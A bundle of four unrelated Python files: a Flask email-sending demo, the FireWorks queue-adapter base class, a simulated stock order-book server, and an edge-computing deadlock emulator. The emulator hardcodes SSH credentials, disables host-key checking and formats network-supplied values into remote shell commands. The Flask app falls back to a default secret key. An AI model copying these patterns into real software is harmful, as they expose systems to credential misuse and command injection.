from flask import Flask, flash, redirect, url_for, render_template, request from flask_mail import Mail, Message from flask_wtf import FlaskForm from wtforms import SubmitField, StringField, TextAreaField from wtforms.validators import DataRequired, Email import os from sendgrid import SendGridAPIClient from sendgrid.helpers.mail import * from threading import Thread app = Flask(__name__) # app.config.update( # SECRET_KEY=os.getenv('SECRET_KEY', 'secret string'), # MAIL_SERVER=os.getenv('MAIL_SERVER'), # MAIL_PORT=25, # MAIL_USE_TLS=True, # MAIL_USERNAME=os.getenv('MAIL_USERNAME'), # MAIL_PASSWORD=os.getenv('MAIL_PASSWORD'), # MAIL_DEFAULT_SENDER=('Miracle Wong', os.getenv('MAIL_USERNAME')) # ) app.config.update( SECRET_KEY=os.getenv('SECRET_KEY', 'secret string'), MAIL_SERVER=os.getenv('MAIL_SERVER'), MAIL_PORT=587, MAIL_USE_TLS=True, MAIL_USERNAME=os.getenv('MAIL_USERNAME'), MAIL_PASSWORD=os.getenv('SENDGRID_API_KEY'), MAIL_DEFAULT_SENDER=('Miracle Wong', os.getenv('MAIL_USERNAME')) ) mail = Mail(app) # send over SMTP def send_smtp_mail(subject, to, body): message = Message(subject, recipients=[to], body=body) mail.send(message) def send_api_email(subject, to, body): sg = SendGridAPIClient(apikey=os.getenv('SENDGRID_API_KEY')) from_email = Email('noreply@miraclewong.me') to_email = Email(to) content = Content('text/plain', body) mail = Mail(from_email, subject, to_email, content) response = sg.client.mail.send.post(request_body=mail.get()) print(response.status_code) print(response.body) print(response.headers) # send email with HTML body def send_subscribe_mail(subject, to, **kwargs): message = Message(subject, recipients=[to], sender='Flask Weekly <%s>' % os.getenv('MAIL_USERNAME')) message.body = render_template('emails/subscribe.txt', **kwargs) message.html = render_template('emails/subscribe.html', **kwargs) mail.send(message) # send email asynchronously def _send_async_mail(app, message): with app.app_context(): mail.send(message) def send_async_mail(subject, to, body): # app = current_app._get_current_object() # if use factory (i.e. create_app()), get app like this message = Message(subject, recipients=[to], body=body) thr = Thread(target=_send_async_mail, args=[app, message]) thr.start() return thr class EmailForm(FlaskForm): to = StringField('To', validators=[DataRequired(), Email()]) subject = StringField('Subject', validators=[DataRequired()]) body = TextAreaField('Body', validators=[DataRequired()]) submit_smtp = SubmitField('Send with SMTP') submit_api = SubmitField('Send with SendGrid API') submit_async = SubmitField('Send with SMTP asynchronously') class SubscribeForm(FlaskForm): name = StringField('Name', validators=[DataRequired()]) email = StringField('Email', validators=[DataRequired(), Email()]) submit = SubmitField('Subscribe') @app.route('/', methods=['GET', 'POST']) def index(): form = EmailForm() if form.validate_on_submit(): to = form.to.data subject = form.subject.data body = form.body.data if form.submit_smtp.data: send_smtp_mail(subject, to, body) method = request.form.get('submit_smtp') elif form.submit_api.data: send_api_email(subject, to, body) method = request.form.get('submit_api') else: send_async_mail(subject, to, body) method = request.form.get('submit_async') flash('Email sent %s! Check your inbox.' % ' '.join(method.split()[1:])) return redirect(url_for('index')) form.subject.data = 'Hello, World!' form.body.data = 'Across the Great Wall we can reach every corner in the world.' return render_template('index.html', form=form) @app.route('/subscribe', methods=['GET', 'POST']) def subscribe(): form = SubscribeForm() if form.validate_on_submit(): name = form.name.data email = form.email.data send_subscribe_mail('Subscribe Success!', email, body=name) flash('Confirmation email have been sent! Check your inbox.') return redirect(url_for('subscribe')) return render_template('subscribe.html', form=form) @app.route('/index') def hello_world(): return render_template('index.html') if __name__ == '__main__': app.run()
queue_adapter.py
""" This module contains contracts for defining adapters to various queueing systems, e.g. PBS/SLURM/SGE. """ import abc import collections import os import shlex import string import subprocess import threading import traceback import warnings from fireworks.utilities.fw_serializers import FWSerializable, serialize_fw from fireworks.utilities.fw_utilities import get_fw_logger __author__ = "Anubhav Jain" __credits__ = "Shyue Ping Ong" __copyright__ = "Copyright 2013, The Materials Project" __maintainer__ = "Anubhav Jain" __email__ = "ajain@lbl.gov" __date__ = "Feb 28, 2013" class Command: """ Helper class - run subprocess commands in a different thread with TIMEOUT option. From https://gist.github.com/kirpit/1306188 Based on jcollado's solution: http://stackoverflow.com/questions/1191374/subprocess-with-timeout/4825933#4825933 """ command = None process = None status = None output, error = "", "" def __init__(self, command): """ initialize the object. Args: command: command to run """ if isinstance(command, str): command = shlex.split(command) self.command = command def run(self, timeout=None, **kwargs): """ Run the command. Args: timeout (float): timeout kwargs (dict) Returns: (status, output, error) """ def target(**kwargs): try: self.process = subprocess.Popen(self.command, **kwargs) self.output, self.error = self.process.communicate() self.status = self.process.returncode # Python3 - need to convert string to bytes if isinstance(self.output, bytes): self.output = self.output.decode("utf-8") if isinstance(self.error, bytes): self.error = self.error.decode("utf-8") except Exception: self.error = traceback.format_exc() self.status = -1 # default stdout and stderr if "stdout" not in kwargs: kwargs["stdout"] = subprocess.PIPE if "stderr" not in kwargs: kwargs["stderr"] = subprocess.PIPE # thread thread = threading.Thread(target=target, kwargs=kwargs) thread.start() thread.join(timeout) if thread.is_alive(): self.process.terminate() thread.join() return self.status, self.output, self.error class QueueAdapterBase(collections.defaultdict, FWSerializable): """ The QueueAdapter is responsible for all interactions with a specific queue management system. This includes handling all details of queue script format as well as queue submission and management. A user should extend this class with implementations that work on specific queue systems. Examples and implementations are in: fireworks/user_objects/queue_adapters. Documentation on implementing queue adapters can be found on FireWorks home page, https://materialsproject.github.io/fireworks """ _fw_name = "QueueAdapterBase" template_file = "OVERRIDE_ME" # path to template file for a queue script submit_cmd = "OVERRIDE_ME" # command to submit jobs, e.g. "qsub" or "squeue" q_name = "OVERRIDE_ME" # (arbitrary) name, e.g. "pbs" or "slurm" defaults = {} # default parameter values for template def get_script_str(self, launch_dir): """ returns a (multi-line) String representing the queue script, e.g. PBS script. Uses the template_file along with internal parameters to create the script. Args: launch_dir (str): The directory the job will be launched in Returns: (str) the queue script """ with open(self.template_file) as f: template = f.read() a = QScriptTemplate(template) # get keys defined by template template_keys = [i[1] for i in string.Formatter().parse(template)] # set substitution dict for replacements into the template subs_dict = {k: v for k, v in self.items() if v is not None} # clean null values # warn user if they specify a key not present in template for subs_key in subs_dict.keys(): if subs_key not in template_keys and not subs_key.startswith("_") and not subs_key == "logdir": warnings.warn( f"Key {subs_key} has been specified in qadapter but it is not present in template, " f"please check template ({self.template_file}) for supported keys." ) for k, v in self.defaults.items(): subs_dict.setdefault(k, v) subs_dict["job_name"] = subs_dict.get("job_name", "FW_job") launch_dir = os.path.abspath(launch_dir) subs_dict["launch_dir"] = launch_dir # might contain unused parameters as leftover $$ unclean_template = a.safe_substitute(subs_dict) clean_template = filter(lambda l: "$$" not in l, unclean_template.split("\n")) return "\n".join(clean_template) @abc.abstractmethod def submit_to_queue(self, script_file): """ Submits the job to the queue and returns the job id. Args: script_file: (str) name of the script file to use (String) Returns: (int) job_id """ @abc.abstractmethod def get_njobs_in_queue(self, username=None): """ Returns the number of jobs currently in the queue for the user. Args: username (str): the username of the jobs to count (default is to autodetect) Returns: (int) number of jobs in the queue """ @serialize_fw def to_dict(self): return dict(self) @classmethod def from_dict(cls, m_dict): return cls(m_dict) def get_qlogger(self, name): if "logdir" in self: return get_fw_logger(name, self["logdir"]) else: return get_fw_logger(name, stream_level="CRITICAL") class QScriptTemplate(string.Template): delimiter = "$$"
server3.py
################################################################################ # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. import csv # from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer import http.server import json import operator import os.path import re import threading from datetime import timedelta, datetime # from itertools import izip from random import normalvariate, random from socketserver import ThreadingMixIn import dateutil.parser ################################################################################ # # Config # Sim params REALTIME = True SIM_LENGTH = timedelta(days=365 * 5) MARKET_OPEN = datetime.today().replace(hour=0, minute=30, second=0) # Market parms # min / max / std SPD = (2.0, 6.0, 0.1) PX = (60.0, 150.0, 1) FREQ = (12, 36, 50) # Trades OVERLAP = 4 ################################################################################ # # Test Data def bwalk(min, max, std): """ Generates a bounded random walk. """ rng = max - min while True: max += normalvariate(0, std) yield abs((max % (rng * 2)) - rng) + min def market(t0=MARKET_OPEN): """ Generates a random series of market conditions, (time, price, spread). """ for hours, px, spd in zip(bwalk(*FREQ), bwalk(*PX), bwalk(*SPD)): yield t0, px, spd t0 += timedelta(hours=abs(hours)) def orders(hist): """ Generates a random set of limit orders (time, side, price, size) from a series of market conditions. """ for t, px, spd in hist: stock = 'ABC' if random() > 0.5 else 'DEF' side, d = ('sell', 2) if random() > 0.5 else ('buy', -2) order = round(normalvariate(px + (spd / d), spd / OVERLAP), 2) size = int(abs(normalvariate(0, 100))) yield t, stock, side, order, size ################################################################################ # # Order Book def add_book(book, order, size, _age=10): """ Add a new order and size to a book, and age the rest of the book. """ yield order, size, _age for o, s, age in book: if age > 0: yield o, s, age - 1 def clear_order(order, size, book, op=operator.ge, _notional=0): """ Try to clear a sized order against a book, returning a tuple of (notional, new_book) if successful, and None if not. _notional is a recursive accumulator and should not be provided by the caller. """ (top_order, top_size, age), tail = book[0], book[1:] if op(order, top_order): _notional += min(size, top_size) * top_order sdiff = top_size - size if sdiff > 0: return _notional, list(add_book(tail, top_order, sdiff, age)) elif len(tail) > 0: return clear_order(order, -sdiff, tail, op, _notional) def clear_book(buy=None, sell=None): """ Clears all crossed orders from a buy and sell book, returning the new books uncrossed. """ while buy and sell: order, size, _ = buy[0] new_book = clear_order(order, size, sell) if new_book: sell = new_book[1] buy = buy[1:] else: break return buy, sell def order_book(orders, book, stock_name): """ Generates a series of order books from a series of orders. Order books are mutable lists, and mutating them during generation will affect the next turn! """ for t, stock, side, order, size in orders: if stock_name == stock: new = add_book(book.get(side, []), order, size) book[side] = sorted(new, reverse=side == 'buy', key=lambda x: x[0]) bids, asks = clear_book(**book) yield t, bids, asks ################################################################################ # # Test Data Persistence def generate_csv(): """ Generate a CSV of order history. """ with open('test.csv', 'wb') as f: writer = csv.writer(f) for t, stock, side, order, size in orders(market()): if t > MARKET_OPEN + SIM_LENGTH: break writer.writerow([t, stock, side, order, size]) def read_csv(): """ Read a CSV or order history into a list. """ with open('test.csv', 'rt') as f: for time, stock, side, order, size in csv.reader(f): yield dateutil.parser.parse(time), stock, side, float(order), int(size) ################################################################################ # # Server class ThreadedHTTPServer(ThreadingMixIn, http.server.HTTPServer): """ Boilerplate class for a multithreaded HTTP Server, with working shutdown. """ allow_reuse_address = True def shutdown(self): """ Override MRO to shutdown properly. """ self.socket.close() http.server.HTTPServer.shutdown(self) def route(path): """ Decorator for a simple bottle-like web framework. Routes path to the decorated method, with the rest of the path as an argument. """ def _route(f): setattr(f, '__route__', path) return f return _route def read_params(path): """ Read query parameters into a dictionary if they are parseable, otherwise returns None. """ query = path.split('?') if len(query) > 1: query = query[1].split('&') return dict(map(lambda x: x.split('='), query)) def get(req_handler, routes): """ Map a request to the appropriate route of a routes instance. """ for name, handler in routes.__class__.__dict__.items(): if hasattr(handler, "__route__"): if None != re.search(handler.__route__, req_handler.path): req_handler.send_response(200) req_handler.send_header('Content-Type', 'application/json') req_handler.send_header('Access-Control-Allow-Origin', '*') req_handler.end_headers() params = read_params(req_handler.path) data = json.dumps(handler(routes, params)) + '\n' req_handler.wfile.write(bytes(data, encoding='utf-8')) return def run(routes, host='0.0.0.0', port=8080): """ Runs a class as a server whose methods have been decorated with @route. """ class RequestHandler(http.server.BaseHTTPRequestHandler): def log_message(self, *args, **kwargs): pass def do_GET(self): get(self, routes) server = ThreadedHTTPServer((host, port), RequestHandler) thread = threading.Thread(target=server.serve_forever) thread.daemon = True thread.start() print('HTTP server started on port 8080') while True: from time import sleep sleep(1) server.shutdown() server.start() server.waitForThread() ################################################################################ # # App ops = { 'buy': operator.le, 'sell': operator.ge, } class App(object): """ The trading game server application. """ def __init__(self): self._book_1 = dict() self._book_2 = dict() self._data_1 = order_book(read_csv(), self._book_1, 'ABC') self._data_2 = order_book(read_csv(), self._book_2, 'DEF') self._rt_start = datetime.now() self._sim_start, _, _ = next(self._data_1) self.read_10_first_lines() @property def _current_book_1(self): for t, bids, asks in self._data_1: if REALTIME: while t > self._sim_start + (datetime.now() - self._rt_start): yield t, bids, asks else: yield t, bids, asks @property def _current_book_2(self): for t, bids, asks in self._data_2: if REALTIME: while t > self._sim_start + (datetime.now() - self._rt_start): yield t, bids, asks else: yield t, bids, asks def read_10_first_lines(self): for _ in iter(range(10)): next(self._data_1) next(self._data_2) @route('/query') def handle_query(self, x): """ Takes no arguments, and yields the current top of the book; the best bid and ask and their sizes """ try: t1, bids1, asks1 = next(self._current_book_1) t2, bids2, asks2 = next(self._current_book_2) except Exception as e: print("error getting stocks...reinitalizing app") self.__init__() t1, bids1, asks1 = next(self._current_book_1) t2, bids2, asks2 = next(self._current_book_2) t = t1 if t1 > t2 else t2 print('Query received @ t%s' % t) return [{ 'id': x and x.get('id', None), 'stock': 'ABC', 'timestamp': str(t), 'top_bid': bids1 and { 'price': bids1[0][0], 'size': bids1[0][1] }, 'top_ask': asks1 and { 'price': asks1[0][0], 'size': asks1[0][1] } }, { 'id': x and x.get('id', None), 'stock': 'DEF', 'timestamp': str(t), 'top_bid': bids2 and { 'price': bids2[0][0], 'size': bids2[0][1] }, 'top_ask': asks2 and { 'price': asks2[0][0], 'size': asks2[0][1] } }] ################################################################################ # # Main if __name__ == '__main__': if not os.path.isfile('test.csv'): print("No data found, generating...") generate_csv() run(App())
13n_edf_wound_wait_NS.py
from functools import reduce from sys import * import numpy as np import random as r import ping_code as pc import socket import struct import subprocess as sp from threading import Thread import paramiko import ast import time import os import getpass as gp hosts = {} # {hostname: ip} multicast_group = '224.3.29.71' server_address = ('', 10000) # Create the socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Bind to the server address sock.bind(server_address) # Tell the operating system to add the socket to the multicast group # on all interfaces. group = socket.inet_aton(multicast_group) mreq = struct.pack('4sL', group, socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) _tasks = {'t1': {'wcet': 3, 'period': 20, 'deadline': 15}, 't2': {'wcet': 1, 'period': 5, 'deadline': 4}, 't3': {'wcet': 2, 'period': 10, 'deadline': 8}, 't4': {'wcet': 1, 'period': 10, 'deadline': 9}, 't5': {'wcet': 3, 'period': 15, 'deadline': 12} } # mat = {'p0': ['cpu', 'mem', 'storage']} _need = { 't1': [7, 4, 3], 't2': [1, 2, 2], 't3': [6, 0, 0], 't4': [0, 1, 1], 't5': [4, 3, 1] } allocation = { 't1': [0, 1, 0], 't2': [2, 0, 0], 't3': [3, 0, 2], 't4': [2, 1, 1], 't5': [0, 0, 2] } mec_waiting_time = {} # {ip : [moving (waiting time + rtt)]} offload_register = {} # {task: host_ip} discovering = 0 # if discovering == 0 update host def ip_address(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) return s.getsockname()[0] def get_rtt(host): rtt = pc.verbose_ping(host) return rtt def gcd(a, b): if b == 0: return a return gcd(b, a % b) def _lcm(a, b): return int(a * b / gcd(a, b)) def lcm(_list): return reduce(_lcm, _list) def gosh_dist(_range): return ((23 ** r.randrange(1, 1331)) % r.randrange(1, 1777)) % _range def get_edf(): global tasks tasks = {} while len(tasks) < 2: a = list(_tasks.keys())[gosh_dist(5)] tasks[a] = _tasks[a] print('Running RMS on Tasks: ', tasks, '\n') waiting_time_init() return edf() def waiting_time_init(): global t_time t_time = {i: [round(r.uniform(0.4, 0.8), 3), round((tasks[i]['period']) / (tasks[i]['wcet']), 3)] for i in tasks} # t_time = {'ti': [execution_time, latency], ..} t_time = {**t_time, **check_mec_offload()} print('[Execution_time, Latency]: ', t_time) def edf(): t_lcm = lcm([tasks[i]['period'] for i in tasks]) t_dead = {i: tasks[i]['deadline'] for i in tasks} sorted_dead = sorted(t_dead.items(), key=lambda kv: (kv[1], kv[0])) # print(sorted_dead) ready_task = [] for i in sorted_dead: period = tasks[i[0]]['period'] # print('lcm: ', t_lcm, ' period: ', period) t_range = int(t_lcm/period) last_dead = 0 for j in range(t_range): ready_task.append((i[0], last_dead+tasks[i[0]]['deadline'])) last_dead += period ready_task = sorted(ready_task, key=lambda t: t[1]) print(ready_task) t_time_ = 0 schedule = [] missed = [] register = {i: 0 for i in tasks.keys()} # {ti : amount executed} for i in ready_task: if (t_time_//tasks[i[0]]['period'])+1 <= register[i[0]]: while (t_time_//tasks[i[0]]['period'])+1 <= register[i[0]]: t_time_ += 1 # schedule.append(('idle', t_time)) if (t_time_//tasks[i[0]]['period'])+1 > register[i[0]]: if t_time_ + tasks[i[0]]['wcet'] <= i[1]: register[i[0]] += 1 t_time_ += tasks[i[0]]['wcet'] schedule.append(i[0]) else: print('Deadline missed: ', i) missed.append(i[0]) print('s (task, execution_time): ', schedule) print('r: ', register) if len(missed) > 0: print('missed deadline: ', missed) cooperative_mec(missed, 0) return offloaded + schedule # generate execution sequence def wound_wait(processes, avail, n_need, allocat): offload = [] # To store execution sequence exec_seq = [] # Make a copy of available resources work = [0] * len(processes) # While all processes are not finished # or system is not in safe state. while 0 in work: ind = work.index(0) i = processes[ind] # print('comparing| process: ', i, n_need[i], 'work: ', avail) if not (False in list(np.greater_equal(avail, n_need[i]))): exec_seq.append(i) avail = np.add(avail, allocat[i]) work[ind] = 1 else: a = list(set(processes) - set(exec_seq) - set(offload)) n = {} for j in a: n[j] = sum(allocat[j]) _max = max(n, key=n.get) # print('work: ', work, 'need: ', n_need[_max]) if not (False in list(np.greater_equal(np.array(avail) + np.array(allocat[_max]), n_need[i]))): offload.append(_max) avail = np.array(avail) + np.array(allocat[_max]) work[processes.index(_max)] = 1 else: offload.append(i) avail = np.array(avail) + np.array(allocat[i]) work[processes.index(i)] = 1 if len(offload) > 0: print('offloading tasks: ', offload) cooperative_mec(offload, 0) print('Execution seq: ', exec_seq) return exec_seq def get_exec_seq(pro): global P global R # Number of processes P = len(pro) # Number of resources R = 3 processes = ['{}_{}'.format(pro[i], i) for i in range(P)] # Available instances of resources avail = [7, 5, 5] n_need = {i: _need[i[:2]] for i in processes} # print('need', n_need) # Resources allocated to processes allot = {i: allocation[i[:2]] for i in processes} # return execution sequence return wound_wait(processes, avail, n_need, allot) def calc_wait_time(list_seq): pre = 0 time_dic = {} for i in list_seq: j = '_'.join(i.split('_')[:-1]) # i = 't5_3_3', j = 't5_3' time_dic[i] = round(t_time[j][0] + pre, 3) pre += t_time[j][0] w_send = time_dic[list(time_dic.keys())[-1]] send_message(str(w_send)) # Broadcasting waiting time to cooperative MECs return time_dic def compare_local_mec(list_seq): time_compare_dict = {i: t_time['_'.join(i.split('_')[:-1])][1] > list_seq[i] for i in list_seq} print('local vs MEC comparison: ', time_compare_dict) execute_mec = [] execute_locally = [] for i in time_compare_dict: if time_compare_dict[i]: execute_locally.append(i) else: execute_mec.append(i) return execute_mec, execute_locally def calculate_mov_avg(ma1, a1): if ma1 in mec_waiting_time: _count = len(mec_waiting_time[ma1]) avg1 = mec_waiting_time[ma1][-1] else: _count = 0 avg1 = 0 _count += 1 avg1 = ((_count - 1) * avg1 + a1) / _count # ma1.append(avg1) #cumulative average formula # μ_n=((n-1) μ_(n-1) + x_n)/n return avg1 def send_message(mg): _multicast_group = ('224.3.29.71', 10000) try: # Send data to the multicast group if mg == 'hello': smg = mg + ' ' + message() sock.sendto(str.encode(smg), _multicast_group) print('\nHello message sent') else: sock.sendto(str.encode(mg), _multicast_group) except Exception as e: print(e) def message(): cmd = ['cat /etc/hostname'] hostname = str(sp.check_output(cmd, shell=True), 'utf-8')[0:-1] return hostname def receive_message(): global hosts while True: data, address = sock.recvfrom(1024) if data.decode()[:5] == 'hello': hosts[data.decode()[6:]] = address[0] elif (data.decode()[:6] == 'update') and (discovering == 0): hosts = ast.literal_eval(data.decode()[7:]) # print('received: ', hosts) elif (data.decode()[:6] != 'update') and (address[0] != host_ip): w_time = calculate_mov_avg(address[0], float(data.decode()) + get_rtt(address[0])) # calcuate moving average of mec wait time => w_time = wait time + rtt if address[0] in mec_waiting_time: mec_waiting_time[address[0]].append(w_time) else: mec_waiting_time[address[0]] = [w_time] def mec_comparison(): # returns min average waiting for all mecs if len(mec_waiting_time) == 0: return 0 min_mec = {i: mec_waiting_time[i][-1] for i in mec_waiting_time} min_wt = min(min_mec, key=min_mec.get) return min_wt def mec_task_unicast(task, host_): try: c = paramiko.SSHClient() un = 'mec' pw = 'password' port = 22 c.set_missing_host_key_policy(paramiko.AutoAddPolicy()) c.connect(host_, port, un, pw) cmd = ('echo "{} {} {}" >> /home/mec/deadlock_project/temp/task_share.txt'.format(host_ip, task, t_time[task[:2]])) # task share : host ip task stdin, stdout, stderr = c.exec_command(cmd) except Exception as e: print(e) def cooperative_mec(mec_list, n): for i in mec_list: _host = mec_comparison() if _host == 0: mec_task_unicast(i, cloud_ip) print('\n=========SENDING {} TO CLOUD==========='.format(i)) elif n == 0: j = '_'.join(i.split('_')[:-1]) if mec_waiting_time[_host][-1] < t_time[j][1]: # CHECK IF THE MINIMUM MEC WAIT TIME IS LESS THAN TASK LATENCY mec_task_unicast(i, _host) # SENDS TASK TO MEC FOR EXECUTION mec_waiting_time[_host].append(mec_waiting_time[_host][-1] + t_time[j][0]) # adds a new average waiting time print('\n======SENDING {} TO MEC {}========='.format(i, _host)) else: mec_task_unicast(i, cloud_ip) print('\n=========SENDING {} TO CLOUD==========='.format(i)) else: j = '_'.join(i.split('_')[:-1]) if mec_waiting_time[_host][-1] < t_time[j][1]: # CHECK IF THE MINIMUM MEC WAIT TIME IS LESS THAN TASK LATENCY mec_task_unicast(i, _host) # SENDS TASK TO MEC FOR EXECUTION mec_waiting_time[_host].append(mec_waiting_time[_host][-1] + t_time[j][0]) # adds a new average waiting time print('\n======SENDING {} TO MEC {}========='.format(i, _host)) else: mec_task_unicast(i, cloud_ip) print('\n=========SENDING {} TO CLOUD==========='.format(i)) def check_mec_offload(): global offloaded offloaded = [] t_mec = {} # {t1: [execution, latency} try: fr = open('/home/mec/deadlock_project/temp/task_share.txt', 'r') t = fr.readlines() for i in t: ta = i[:-1].split()[1][:2] + '_' + str(t.index(i)) offloaded.append(ta) offload_register[ta] = i[:-1].split()[0] t_mec[ta] = ast.literal_eval(''.join(i[:-1].split()[2:])) fr.close() os.system('rm /home/mec/deadlock_project/temp/task_share.txt') print('Tasks Offloaded to MEC: {}'.format(offloaded)) except Exception as e: print('no offloaded Task!') return t_mec def execute(local): print('\nExecuting :', local) send = [] for i in local: j = '_'.join(i.split('_')[:-1]) time.sleep(t_time[j][0]) print('#' *((local.index(i) + 1) * 3), ' Executed: ', i) if len(j) > 2: send.append(j) print('============== EXECUTION DONE ===============') return send def send_back_task(l_list): _host_ip = ip_address() for i in l_list: try: c = paramiko.SSHClient() un = 'mec' pw = 'password' port = 22 c.set_missing_host_key_policy(paramiko.AutoAddPolicy()) c.connect(offload_register[i], port, un, pw) cmd = ('echo "{} {}" >> /home/mec/deadlock_project/temp/executed.txt'.format(i, _host_ip)) # task share : host ip task stdin, stdout, stderr = c.exec_command(cmd) except Exception as e: print(e) def receive_executed_task(): try: fr = open('/home/mec/deadlock_project/temp/executed.txt', 'r') t = fr.readlines() for i in t: i = i[:-1].split() print('Received Executed task {} from {}'.format(i[0], i[1])) fr.close() os.system('rm /home/mec/deadlock_project/temp/executed.txt') except Exception as e: print('No Executed Tasks from MEC Received') def run_me(): global discovering global hosts initialization() while True: if len(hosts) == mec_no: print('MEC Details: ', hosts) del hosts[message()] discovering = 1 break time.sleep(2) start_loop() def start_loop(): print('\n============* WELCOME TO THE DEADLOCK EMULATION PROGRAM *=============\n') while True: x = gp.getpass('Press any key to Start...').lower() if x != 'exit': for i in range(500): edf_list = get_edf() print('RMS List of Processes: ', edf_list, '\n') print('\nRunning Bankers Algorithm') list_seq = get_exec_seq(edf_list) if len(list_seq) > 0: # do only when there is a task in safe sequence wait_list = calc_wait_time(list_seq) print('\nWaiting Time List: ', wait_list) compare_result = compare_local_mec(wait_list) print('\nExecute Locally: ', compare_result[1]) print('\nExecute in MEC: ', compare_result[0]) print('\nSending to cooperative platform') if len(compare_result[0]) > 0: cooperative_mec(compare_result[0], 1) local_ = execute(compare_result[1]) if len(local_) > 0: # do only when there is a task to send back send_back_task(local_) print('\nsending back tasks\n') receive_executed_task() time.sleep(3) print('\nEnter "Exit" to stop Programme!') if x == 'exit': print('\nProgramme Terminated') break def initialization(): global mec_no global host_ip global cloud_ip host_ip = ip_address() try: mec_no = int(input('Number of MECs: ').strip()) cloud_ip = input('Cloud Server IP: ').strip() print('\nCompiling MEC Details') h1 = Thread(target=receive_message) h1.start() while True: b = input('Send Hello Message (Y/N): ').strip().lower() if b == 'y': send_message('hello') break else: print('\nPlease Type "y" to send Hello message\n') except KeyboardInterrupt: print('\nProgramme Terminated') exit(0) def main(): os.system('clear') run_me() if __name__ == "__main__": main()